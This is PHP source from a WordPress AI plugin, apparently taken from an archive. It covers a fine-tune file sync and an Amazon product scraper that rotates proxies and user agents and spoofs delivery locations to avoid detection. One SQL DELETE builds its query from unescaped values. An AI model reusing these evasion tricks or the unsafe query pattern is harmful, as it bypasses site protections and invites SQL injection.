'aiomatic_file', )); if (!is_wp_error($aiomatic_file_id)) { if($aiomatic_file_id === 0) { aiomatic_log_to_file('Error when saving file ID ' . $item->id); break; } add_post_meta($aiomatic_file_id, 'aiomatic_filename', $item->filename); add_post_meta($aiomatic_file_id, 'aiomatic_purpose', $item->purpose); add_post_meta($aiomatic_file_id, 'aiomatic_file_size', $item->bytes); } else { aiomatic_log_to_file('Error when saving file ' . $aiomatic_file_id->get_error_message()); break; } } else { update_post_meta($aiomatic_check->ID, 'aiomatic_filename', $item->filename); update_post_meta($aiomatic_check->ID, 'aiomatic_purpose', $item->purpose); update_post_meta($aiomatic_check->ID, 'aiomatic_file_size', $item->bytes); } } } if(count($aiomaticExist)) { $wpdb->query("DELETE FROM " . $wpdb->posts . " WHERE post_type='aiomatic_file' AND post_title NOT IN ('" . implode("','", $aiomaticExist) . "')"); } else{ $wpdb->query("DELETE FROM ".$wpdb->posts." WHERE post_type='aiomatic_file'"); } } public function aiomatic_files() { check_ajax_referer('openai-training-nonce', 'nonce'); global $wpdb; $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with finetuning files'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for finetunes.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->listFiles(); $result = json_decode($result); if(isset($result->error->message)){ $aiomatic_result['msg'] = $result->error->message; } else{ if(isset($result->data) && is_array($result->data) && count($result->data)){ foreach($result->data as $ind => $rd) { if($rd->purpose != 'fine-tune' && $rd->purpose != 'fine-tune-results') { unset($result->data[$ind]); } } $aiomatic_result['status'] = 'success'; $this->aiomatic_save_files($result->data); } else{ $aiomatic_result['status'] = 'success'; $wpdb->query("DELETE FROM ".$wpdb->posts." WHERE post_type='aiomatic_file'"); } } wp_send_json($aiomatic_result); } } AiomaticFineTune::get_instance(); } ?>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/amazon-direct.php�������������������������������������������������������������������������������0000644�����������������00000107513�14757771437�0010640 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $aiomatic_simulated = false; if(!class_exists('AiomaticObj')) { #[AllowDynamicProperties] class AiomaticObj { public $link_url = ''; public $link_keyword = ''; public $link_status = ''; public $link_desc = ''; } } if(!class_exists('AiomaticProductObj')) { #[AllowDynamicProperties] class AiomaticProductObj { public $product_author = ''; public $product_brand = ''; public $product_isbn = ''; public $product_upc = ''; public $offer_title = ''; public $offer_desc = ''; public $offer_url = ''; public $source_link = ''; public $offer_price = ''; public $product_price = ''; public $product_list_price = ''; public $offer_img = ''; public $product_img = ''; public $price_numeric = ''; public $price_currency = ''; public $review_link = ''; public $product_asin = ''; public $cart_url = ''; public $list_price_numeric = ''; public $product_imgs = ''; public $product_imgs_html = ''; public $price_with_discount_fixed = ''; //new public $item_score = ''; public $edition = ''; public $language = ''; public $pages_count = ''; public $publication_date = ''; public $contributors = ''; public $manufacturer = ''; public $binding = ''; public $product_group = ''; public $rating = ''; public $eans = ''; public $part_no = ''; public $model = ''; public $warranty = ''; public $color = ''; public $is_adult = ''; public $dimensions = ''; public $date = ''; public $size = ''; public $unit_count = ''; public function getContributors() { return $this->contributors; } public function getItemPartNumber() { return $this->part_no; } public function getModel() { return $this->model; } public function getWarranty() { return $this->warranty; } public function getColor() { return $this->color; } public function getIsAdultProduct() { return $this->is_adult; } public function getItemDimensions() { return $this->dimensions; } public function getReleaseDate() { return $this->date; } public function getSize() { return $this->size; } public function getUnitCount() { return $this->unit_count; } public function getBinding() { return $this->binding; } public function getProductGroup() { return $this->product_group; } public function getContentRating() { return $this->rating; } public function getEANs() { return $this->eans; } public function getISBNs() { return $this->product_isbn; } public function getManufacturer() { return $this->manufacturer; } public function getEdition() { return $this->edition; } public function getLanguages() { return $this->language; } public function getPagesCount() { return $this->pages_count; } public function getPublicationDate() { return $this->publication_date; } public function getBrand() { return $this->product_brand; } public function getAuthor() { return $this->product_author; } public function getPrice() { return $this->price_numeric . $this->price_currency; } public function getPricePlain() { return $this->price_numeric; } public function getCurrency() { return $this->price_currency; } public function getISBN() { return $this->product_isbn; } public function getASIN() { return $this->product_asin; } public function getDetailPageURL() { return $this->offer_url; } public function getImage() { return $this->product_img; } public function getImages() { return $this->product_imgs; } public function getItemInfo() { return $this->offer_desc; } public function getScore() { return $this->item_score; } public function getBrowseNodeInfo() { return null; } public function getTitle() { return $this->offer_title; } } } function aiomatic_amazon_get_post($keyword, $affiliateID, $region, $low_price, $high_price, $order, $max, $page, $posted_items) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } $amaz_ext_active = false; if (is_plugin_active('aiomatic-extension-amazon-api/aiomatic-extension-amazon-api.php')) { $amaz_ext_active = true; } if(!isset($aiomatic_Main_Settings['amazon_app_id']) || trim($aiomatic_Main_Settings['amazon_app_id']) == '' || !isset($aiomatic_Main_Settings['amazon_app_secret']) || trim($aiomatic_Main_Settings['amazon_app_secret']) == '' || $amaz_ext_active == false) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); curl_setopt($ch, CURLOPT_REFERER, "https://www.amazon." . $region . "/"); curl_setopt($ch, CURLOPT_COOKIEFILE, 'amazcookie.txt'); curl_setopt($ch, CURLOPT_COOKIEJAR, 'amazcookie.txt'); $keyword = trim($keyword); if (trim($keyword) != '') { $res = aiomatic_amazon_fetch_links($keyword, $region, $affiliateID, $ch, $low_price, $high_price, $order, $max, $page, $posted_items); if($res === false) { return array('status' => 'nothing'); } $res_count = count($res); for($i = 0; $i < $res_count; $i ++) { $t_row = $res[$i]; $t_link_url = $t_row->link_url; $possible_full_link = $t_link_url; if (! stristr($t_link_url, 'http')) { $possible_full_link = 'https://amazon.' . $region . '/dp/' . $t_link_url; } else { $link_parts = explode('/dp/', $t_link_url); $asin = $link_parts [1]; } if (! stristr($t_link_url, 'http')) { $asin = $t_link_url; require_once (dirname(__FILE__) . '/aiomatic-noapi.php'); $obj = new aiomatic_no_amazon_api($ch, $region); try { aiomatic_simulate_location($region); curl_setopt($ch, CURLOPT_USERAGENT, aiomatic_get_random_user_agent()); $item = $obj->getItemByAsin($asin, $t_row->link_desc, $affiliateID); } catch(Exception $e) { aiomatic_log_to_file('Amazon reading error:' . $e->getMessage ()); return false; } if (isset($item ['link_title'])) { $desc = ''; if(isset($item ['item_description'])) { $desc = $item ['item_description']; } if (count($item ['item_features']) > 0) { $desc .= '<br>' . implode('<br>', $item ['item_features']); } $title = $item ['link_title']; if (isset($item ['product_author']) && $item ['product_author'] != '') { $title .= '**' . $item ['product_author']; } else { $title .= '** '; } if (isset($item ['product_brand']) && $item ['product_brand'] != '') { $title .= '**' . $item ['product_brand']; } else { $title .= '** '; } if (isset($item ['product_isbn']) && $item ['product_isbn'] != '') { $title .= '**' . $item ['product_isbn']; } else { $title .= '** '; } if (isset($item ['product_upc']) && $item ['product_upc'] != '') { $title .= '**' . $item ['product_upc']; } else { $title .= '** '; } $t_link_url = $linkUrl = $item ['item_link']; $price = ''; $price = $item ['item_price'] . '-' . $item ['item_pre_price']; $item_currency = $item ['price_currency']; $imgurl = ''; $imgurl = implode(',', $item ['item_images']); $review = $item ['item_reviews']; $t_row->link_url = $linkUrl; $t_row->link_title = $title; $t_row->link_desc = $desc; $t_row->link_price = $price; $t_row->price_currency = $item_currency; $t_row->link_img = $imgurl; $t_row->item_features_html = $item ['item_features_html']; $t_row->item_reviews_text = $item ['item_reviews_text']; $t_row->link_review =(string) $review; $res [$i] = $t_row; } else { unset($res [$i]); } } } $temp_rez = array(); if (count($res) > 0) { $res = array_values($res); for($i = 0; $i < count($res); $i ++) { $temp = new AiomaticProductObj(); if(!isset($res [$i])) { continue; } $ret = $res [$i]; if (stristr($ret->link_price, '-')) { $priceParts = explode('-', $ret->link_price); $ret->link_price = $priceParts [0]; $salePrice = $priceParts [1]; } else { $salePrice = $ret->link_price; } $offer_title = $ret->link_title; $temp->product_author = ''; $temp->item_score = ''; $temp->edition = ''; $temp->language = ''; $temp->pages_count = ''; $temp->publication_date = ''; $temp->product_brand = ''; $temp->contributors = ''; $temp->manufacturer = ''; $temp->binding = ''; $temp->product_group = ''; $temp->rating = ''; $temp->eans = ''; $temp->product_isbn = ''; $temp->part_no = ''; $temp->model = ''; $temp->warranty = ''; $temp->color = ''; $temp->is_adult = ''; $temp->dimensions = ''; $temp->date = ''; $temp->size = ''; $temp->unit_count = ''; if (stristr($offer_title, '**')) { $titleParts = explode('**', $offer_title); $offer_title = $titleParts [0]; $temp->product_author = $titleParts [1]; $temp->product_brand = $titleParts [2]; if (isset($titleParts [3])) $temp->product_isbn = $titleParts [3]; if (isset($titleParts [4])) { $temp->product_upc = $titleParts [4]; } else { $temp->product_upc = ''; } } $offer_desc = $ret->link_desc; $offer_desc = str_replace('View larger.', '', $offer_desc); $offer_desc = str_replace('To report an issue with this product, click here. ', '', $offer_desc); $offer_desc = str_replace('Show more', '', $offer_desc); $offer_desc = str_replace('From the Publisher', '', $offer_desc); $offer_desc = str_replace('See more product details', '', $offer_desc); $offer_desc = str_replace('To calculate the overall star rating and percentage breakdown by star, we don’t use a simple average. Instead, our system considers things like how recent a review is and if the reviewer bought the item on Amazon. It also analyzed reviews to verify trustworthiness. ', '', $offer_desc); $offer_url = $ret->link_url . '?tag=' . $affiliateID; $offer_price = trim($ret->link_price); $offer_img = $ret->link_img; $temp->offer_title = $offer_title; $temp->offer_desc = wp_strip_all_tags($offer_desc, true); $temp->offer_url = $offer_url; $temp->source_link = $ret->link_url; $temp->offer_price = $offer_price; $temp->product_price = $offer_price; $temp->product_list_price = $salePrice; $temp->offer_img = $offer_img; $temp->product_img = $offer_img; $temp->price_numeric = '00.00'; $temp->price_currency = '$'; $temp->offer_desc .= '<br>' . str_replace('About this item ', '', wp_strip_all_tags(trim($ret->item_features_html), true)); $temp->item_reviews = $ret->item_reviews_text; $ret->link_review = preg_replace('{exp\=20\d\d}', 'exp=2030', $ret->link_review); $ret->link_review = str_replace('http://', '//', $ret->link_review); $temp->review_link = $ret->link_review; $tag = ''; $subscription = ''; if (stristr($offer_url, 'creativeASIN')) { $enc_url = urldecode($offer_url); $enc_url = explode('?', $enc_url); $enc_parms = $enc_url [1]; $enc_parms_arr = explode('&', $enc_parms); foreach($enc_parms_arr as $param) { if (stristr($param, 'creativeASIN')) { $asin = str_replace('creativeASIN=', '', $param); } elseif (stristr($param, 'tag=')) { $tag = str_replace('tag=', '', $param); } elseif (stristr($param, 'SubscriptionId')) { $subscription = str_replace('SubscriptionId=', '', $param); } } } else { $tag = $affiliateID; } $temp->product_asin = $asin; $cart_url = "https://www.amazon.$region/gp/aws/cart/add.html?AssociateTag=$tag&ASIN.1=$asin&Quantity.1=1&SubscriptionId=$subscription"; $temp->cart_url = $cart_url; if (trim($ret->link_price) != '') { $thousandSeparator = ','; if ($region == 'es' || $region == 'de' || $region == 'fr' || $region == 'it' || $region == 'com.br') { $thousandSeparator = '.'; } $price_no_commas = str_replace($thousandSeparator, '', $offer_price); preg_match('{\d.*\d}is', $price_no_commas, $price_matches); if(isset($price_matches [0])) { $temp->price_numeric = $price_matches [0]; } else { $temp->price_numeric = ''; } $temp->price_currency = preg_replace('{[\d .,]*}', '', $offer_price); if(empty($temp->price_currency)) { $temp->price_currency = '$'; } $price_no_commas = str_replace($thousandSeparator, '', $salePrice); preg_match('{\d.*\d}is', $price_no_commas, $price_matches); if(isset($price_matches [0])) { $temp->list_price_numeric = $price_matches [0]; } else { $temp->list_price_numeric = ''; } } $temp->product_imgs = $temp->product_img; if (stristr($temp->product_img, ',')) { $imgs = explode(',', $temp->product_imgs); $temp->product_img = $temp->offer_img = $imgs [0]; } $cg_am_full_img_t = '<img src="[img_src]" class="amazon_gallery" />'; $allImages = explode(',', $temp->product_imgs); $allImages_html = ''; foreach($allImages as $singleImage) { $singleImageHtml = $cg_am_full_img_t; $singleImageHtml = str_replace('[img_src]', $singleImage, $singleImageHtml); $allImages_html .= $singleImageHtml; } $temp->product_imgs_html = $allImages_html; if ($temp->product_price == $temp->product_list_price) { $temp->price_with_discount_fixed = $temp->product_price; } else { $temp->price_with_discount_fixed = '<del>' . $temp->product_list_price . '</del> - ' . $temp->product_price; } if (trim($temp->product_price) == '') $temp->product_price = $temp->price_numeric; if (trim($temp->product_list_price) == '') $temp->product_list_price = $temp->price_numeric; $temp_rez[] = $temp; } } else { aiomatic_log_to_file('Amazon no results found.'); return false; } return $temp_rez; } aiomatic_log_to_file('No usable keywords found.'); } else { $keyword = trim($keyword); if (trim($keyword) != '') { $amazoncategory = 'All'; $escaped_categories = array_map('preg_quote', AIOMATIC_AMAZON_CATEGORIES); $apattern = '/category:\s*(' . implode('|', $escaped_categories) . ')/'; if (preg_match($apattern, $keyword, $matches)) { if(isset($matches[1])) { $amazoncategory = $matches[1]; $keyword = preg_replace($apattern, '', $keyword); } } $additionalParam = array(); $browser_node = ''; $res = aiomatic_searchItems_v5($region, trim($aiomatic_Main_Settings['amazon_app_id']), trim($aiomatic_Main_Settings['amazon_app_secret']), $affiliateID, $keyword, $amazoncategory, $additionalParam, $low_price, $high_price, $browser_node, $page, $max); $temp_rez = array(); if (count($res) > 0) { for($i = 0; $i < count($res); $i ++) { $temp = new AiomaticProductObj(); if(!isset($res [$i])) { continue; } $item = $res [$i]; $item_info = $item->getItemInfo(); $trade_info = $item_info->getTradeInInfo(); if($trade_info != null) { $price = $trade_info->getPrice(); if($price != null) { $price = $price->getDisplayAmount(); } else { $price = ''; } } else { $price = ''; } if ($price == '' && $item->getOffers() != null && $item->getOffers()->getListings() != null && $item->getOffers()->getListings()[0]->getPrice() != null && $item->getOffers()->getListings()[0]->getPrice()->getDisplayAmount() != null) { $price = $item->getOffers()->getListings()[0]->getPrice()->getDisplayAmount(); } $full_price = ''; $lowprice = ''; if($item->getOffers() !== null) { $offers = $item->getOffers()->getListings(); } else { $offers = null; } if($offers != null) { foreach($offers as $off) { $lowprice = $off->getPrice(); if($lowprice != null) { $lowprice = $lowprice->getDisplayAmount(); if($price == '') { $price = $lowprice; } } $xfull_price = $off->getSavingBasis(); if($xfull_price != null) { $full_price = $xfull_price->getDisplayAmount(); } break; } } if(empty($full_price)) { $full_price = $price; } //new $content_info = $item_info->getContentInfo(); if($content_info != null) { $edition = $content_info->getEdition(); if ($edition !== null) { $edition = $edition->getDisplayValue(); } else { $edition = ''; } $language = $content_info->getLanguages(); if ($language !== null) { $language_types = $language->getDisplayValues(); $language = ''; foreach ($language_types as $language_type) { $language = $language_type->getDisplayValue(); break; } } else { $language = ''; } $pages_count = $content_info->getPagesCount(); if ($pages_count !== null) { $pages_count = $pages_count->getDisplayValue(); } else { $pages_count = ''; } $publication_date = $content_info->getPublicationDate(); if ($publication_date !== null) { $publication_date = $publication_date->getDisplayValue(); } else { $publication_date = ''; } } else { $edition = ''; $language = ''; $pages_count = ''; $publication_date = ''; } $byline_info = $item_info->getByLineInfo(); $contributors = ''; if($byline_info != null) { $zabrand = $byline_info->getBrand(); if($zabrand != null) { $brand = $zabrand->getDisplayValue(); } else { $brand = ''; } $xcontributors = $byline_info->getContributors(); if(is_array($xcontributors)) { foreach($xcontributors as $cntx) { $contributors .= $cntx->getName() . ' '; } } $zamanufacturer = $byline_info->getManufacturer(); if($zamanufacturer != null) { $manufacturer = $zamanufacturer->getDisplayValue(); } else { $manufacturer = ''; } } else { $brand = ''; $manufacturer = ''; } $class_info = $item_info->getClassifications(); if($class_info != null) { $zabinding = $class_info->getBinding(); if($zabinding != null) { $binding = $zabinding->getDisplayValue(); } else { $binding = ''; } $zaproduct_group = $class_info->getProductGroup(); if($zaproduct_group != null) { $product_group = $zaproduct_group->getDisplayValue(); } else { $product_group = ''; } } else { $binding = ''; $product_group = ''; } $content_rating = $item_info->getContentRating(); if($content_rating != null) { $rating = $content_rating->getAudienceRating(); if ($rating !== null) { $rating = $rating->getDisplayValue(); } else { $rating = ''; } } else { $rating = ''; } $external_ids = $item_info->getExternalIds(); if($external_ids != null) { $eans = $external_ids->getEANs(); if ($eans !== null && is_array($eans->getDisplayValues())) { $eans = $eans->getDisplayValues()[0]; } else { $eans = ''; } $isbns = $external_ids->getISBNs(); if ($isbns !== null && is_array($isbns->getDisplayValues())) { $isbns = $isbns->getDisplayValues()[0]; } else { $isbns = ''; } $product_upc = $external_ids->getUPCs(); if ($product_upc !== null && is_array($product_upc->getDisplayValues())) { $product_upc = $product_upc->getDisplayValues()[0]; } else { $product_upc = ''; } } else { $eans = ''; $isbns = ''; $product_upc = ''; } $manu_info = $item_info->getManufactureInfo(); if($manu_info != null) { $part_no = $manu_info->getItemPartNumber(); if ($part_no !== null) { $part_no = $part_no->getDisplayValue(); } else { $part_no = ''; } $model = $manu_info->getModel(); if ($model !== null) { $model = $model->getDisplayValue(); } else { $model = ''; } $warranty = $manu_info->getWarranty(); if ($warranty !== null) { $warranty = $warranty->getDisplayValue(); } else { $warranty = ''; } } else { $part_no = ''; $model = ''; $warranty = ''; } $product_info = $item_info->getProductInfo(); if($product_info != null) { $color = $product_info->getColor(); if($color !== null) { $color = $color->getDisplayValue(); } $is_adult = $product_info->getIsAdultProduct(); if($is_adult !== null) { $is_adult = $is_adult->getDisplayValue(); } else { $is_adult = 'false'; } $dimensions = $product_info->getItemDimensions(); if ($dimensions !== null) { $xheight = $dimensions->getHeight() ? $dimensions->getHeight()->getDisplayValue() . " " . $dimensions->getHeight()->getUnit() : "N/A"; $xlength = $dimensions->getLength() ? $dimensions->getLength()->getDisplayValue() . " " . $dimensions->getLength()->getUnit() : "N/A"; $xweight = $dimensions->getWeight() ? $dimensions->getWeight()->getDisplayValue() . " " . $dimensions->getWeight()->getUnit() : "N/A"; $xwidth = $dimensions->getWidth() ? $dimensions->getWidth()->getDisplayValue() . " " . $dimensions->getWidth()->getUnit() : "N/A"; $dimensions = "$xwidth x $xheight x $xlength $xweight"; $dimensions = str_replace('N/A x N/A x N/A ', '', $dimensions); } else { $dimensions = ''; } $date = $product_info->getReleaseDate(); if($date !== null) { $date = $date->getDisplayValue(); } else { $date = aiomatic_get_date_now(); } $xs = $product_info->getSize(); if($xs != null) { $size = $xs->getDisplayValue(); } else { $size = ''; } $unit_count = $product_info->getUnitCount(); if($unit_count != null) { $unit_count = $unit_count->getDisplayValue(); } else { $unit_count = ''; } } else { $color = ''; $is_adult = ''; $dimensions = ''; $date = aiomatic_get_date_now(); $size = ''; $unit_count = ''; } if ($contributors != '') { $author = $contributors; } elseif ($manufacturer != '') { $author = $manufacturer; } elseif ($brand != '') { $author = $brand; } $score = $item->getScore(); if($score != null) { $score = $score->getDisplayValue(); } else { $score = ''; } $temp->item_score = $score; $temp->edition = $edition; $temp->language = $language; $temp->pages_count = $pages_count; $temp->publication_date = $publication_date; $temp->product_brand = $brand; $temp->contributors = $contributors; $temp->manufacturer = $manufacturer; $temp->binding = $binding; $temp->product_group = $product_group; $temp->rating = $rating; $temp->eans = $eans; $temp->product_isbn = $isbns; $temp->product_upc = $product_upc; $temp->part_no = $part_no; $temp->model = $model; $temp->warranty = $warranty; $temp->color = $color; $temp->is_adult = $is_adult; $temp->dimensions = $dimensions; $temp->date = $date; $temp->size = $size; $temp->unit_count = $unit_count; $temp->product_author = $author; $temp->product_list_price = $full_price; $zatitle = $item_info->getTitle(); if($zatitle != null) { $ztitle = $zatitle->getDisplayValue(); } else { $ztitle = ''; } $temp->offer_title = $ztitle; $features = $item_info->getFeatures(); $xcontent = ''; if($features != null) { $features_display = $features->getDisplayValues(); if($features_display != null) { $xcontent .= '<ul>'; foreach($features_display as $dv) { $xcontent .= '<li>' . $dv . '</li>'; } $xcontent .= '</ul>'; } } $temp->offer_desc = $xcontent; $temp->offer_url = $item->getDetailPageURL(); $temp->source_link = $item->getDetailPageURL(); $temp->offer_price = $price; $temp->product_price = $price; $offer_img = ''; $offer_imgs = ''; $allImages = array(); $images = $item->getImages(); if($images != null) { $primary = $images->getPrimary(); if($primary != null) { $lp = $primary->getLarge(); if($lp != null) { $offer_img = $lp->getURL(); } } $variants = $images->getVariants(); if($variants != null) { foreach($variants as $vari) { $vari_large = $vari->getLarge(); if($vari_large != null) { if(empty($offer_img)) { $offer_img = $vari_large->getURL(); } $allImages[] = $vari_large->getURL(); $offer_imgs .= $vari_large->getURL() . ','; } } } } $offer_imgs = trim($offer_imgs, ','); $temp->offer_img = $offer_img; $temp->product_img = $offer_img; $temp->price_numeric = $price; $temp->price_numeric = $price; $temp->list_price_numeric = '$'; $temp->item_reviews = array(); $temp->review_link = ''; $tag = ''; $subscription = ''; $temp->product_asin = (string)$item->getASIN(); $temp->cart_url = $item->getDetailPageURL(); $temp->product_imgs = $offer_imgs; $cg_am_full_img_t = '<img src="[img_src]" class="amazon_gallery" />'; $allImages_html = ''; foreach($allImages as $singleImage) { $singleImageHtml = $cg_am_full_img_t; $singleImageHtml = str_replace('[img_src]', $singleImage, $singleImageHtml); $allImages_html .= $singleImageHtml; } $temp->product_imgs_html = $allImages_html; if ($temp->product_price == $temp->product_list_price) { $temp->price_with_discount_fixed = $temp->product_price; } else { $temp->price_with_discount_fixed = '<del>' . $temp->product_list_price . '</del> - ' . $temp->product_price; } if (trim($temp->product_price) == '') $temp->product_price = $temp->price_numeric; if (trim($temp->product_list_price) == '') $temp->product_list_price = $temp->price_numeric; $temp_rez[] = $temp; } } else { aiomatic_log_to_file('Amazon no results found.'); return false; } return $temp_rez; } else { aiomatic_log_to_file('No usable keywords found!'); } } return array(); } function aiomatic_amazon_fetch_links($keyword, $region, $affiliateID, $ch, $low_price, $high_price, $order, $max, $page, $posted_items) { $scrapeURL = "https://www.amazon.{$region}/s/ref=nb_sb_noss_2?url=search-alias%3Daps&field-keywords=" . urlencode(trim($keyword)); if($low_price != '' && is_numeric($low_price)) { $scrapeURL .= '&low-price=' . $low_price / 100; } if($high_price != '' && is_numeric($high_price)) { $scrapeURL .= '&high-price=' . $high_price / 100; } if($order != '' && $order != 'none') { $scrapeURL .= '&sort=' . $order; } if($page != '' && is_numeric($page) && $page > 1) { $scrapeURL .= '&page=' . $page; } require_once (dirname(__FILE__) . '/aiomatic-noapi.php'); $obj = new aiomatic_no_amazon_api($ch, $region); try { curl_setopt($ch, CURLOPT_USERAGENT, aiomatic_get_random_user_agent()); aiomatic_simulate_location($region); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (preg_match('!^B0!', $keyword)) { $ASINs = explode('|', $keyword); $ASINs = array_map('trim', $ASINs); } else { if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Scraping: ' . $scrapeURL); } $transval = get_transient('aiomatic-' . $scrapeURL); if($transval !== false) { $ASINs = $transval; } else { $ASINs = $obj->getASINs($scrapeURL); if(!empty($ASINs)) { set_transient('aiomatic-' . $scrapeURL, $ASINs, 60 * 60 * 24 * 30 * 6); } } if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Returned product count: ' . count($ASINs)); } } $slugs = $obj->slugs; $i = 0; $results = array(); foreach($ASINs as $ASIN) { if(in_array($ASIN, $posted_items)) { if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Skipping product, already published: ' . $ASIN); } continue; } $slug = ''; if (isset($slugs [$i])) $slug = $slugs [$i]; $mobj = new AiomaticObj(); $mobj->link_url = $ASIN; $mobj->link_keyword = $keyword; $mobj->link_status = '0'; $mobj->link_desc = $slug; $results[] = $mobj; $i ++; } if(count($results) == 0 && count($ASINs) > 0) { return false; } $results = array_slice($results, 0, $max, true); return $results; } catch(Exception $e) { aiomatic_log_to_file('Exception during Amazon scraping: ' . $e->getMessage ()); return array(); } } function aiomatic_simulate_location($region) { if (!isset($GLOBALS['aiomatic_simulated']) || $GLOBALS['aiomatic_simulated'] == false) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $curlpost = ''; if ($region == 'com') { $curlpost = "locationType=LOCATION_INPUT&zipCode=10001&storeContext=gateway&deviceType=web&pageType=Search&actionSource=glow"; } elseif ($region == 'co.uk') { $curlpost = "locationType=LOCATION_INPUT&zipCode=E1+7EF&storeContext=generic&deviceType=web&pageType=Gateway&actionSource=glow"; } elseif ($region == 'ca') { $curlpost = 'locationType=LOCATION_INPUT&zipCode=V5K+0A1&storeContext=generic&deviceType=web&pageType=Gateway&actionSource=glow'; } elseif ($region == 'de') { $curlpost = "locationType=LOCATION_INPUT&zipCode=10178&storeContext=generic&deviceType=web&pageType=Gateway&actionSource=glow"; } elseif ($region == 'fr') { $curlpost = "locationType=LOCATION_INPUT&zipCode=75000&storeContext=generic&deviceType=web&pageType=Gateway&actionSource=glow"; } elseif ($region == 'it') { $curlpost = "locationType=LOCATION_INPUT&zipCode=00127&storeContext=generic&deviceType=web&pageType=Gateway&actionSource=glow"; } elseif ($region == 'es') { $curlpost = "locationType=LOCATION_INPUT&zipCode=08005&storeContext=generic&deviceType=web&pageType=Gateway&actionSource=glow"; } elseif ($region == 'co.jp') { $curlpost = "locationType=LOCATION_INPUT&zipCode=100-0000&storeContext=generic&deviceType=web&pageType=Gateway&actionSource=glow"; } elseif ($region == 'in') { $curlpost = "locationType=LOCATION_INPUT&zipCode=110001&storeContext=generic&deviceType=web&pageType=Gateway&actionSource=glow"; } elseif ($region == 'com.br') { $curlpost = "locationType=LOCATION_INPUT&zipCode=20010-000&storeContext=generic&deviceType=web&pageType=Gateway&actionSource=glow"; } elseif ($region == 'com.mx') { $curlpost = "locationType=LOCATION_INPUT&zipCode=44100&storeContext=generic&deviceType=web&pageType=Gateway&actionSource=glow"; } if($curlpost != '') { $curlurl = "https://www.amazon.$region/gp/delivery/ajax/address-change.html"; $ch = curl_init(); if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt ( $ch, CURLOPT_URL, $curlurl ); curl_setopt ( $ch, CURLOPT_POST, true ); curl_setopt ( $ch, CURLOPT_POSTFIELDS, $curlpost ); curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ( $ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $exec = curl_exec ( $ch ); curl_close($ch); $GLOBALS['aiomatic_simulated'] = true; } } } 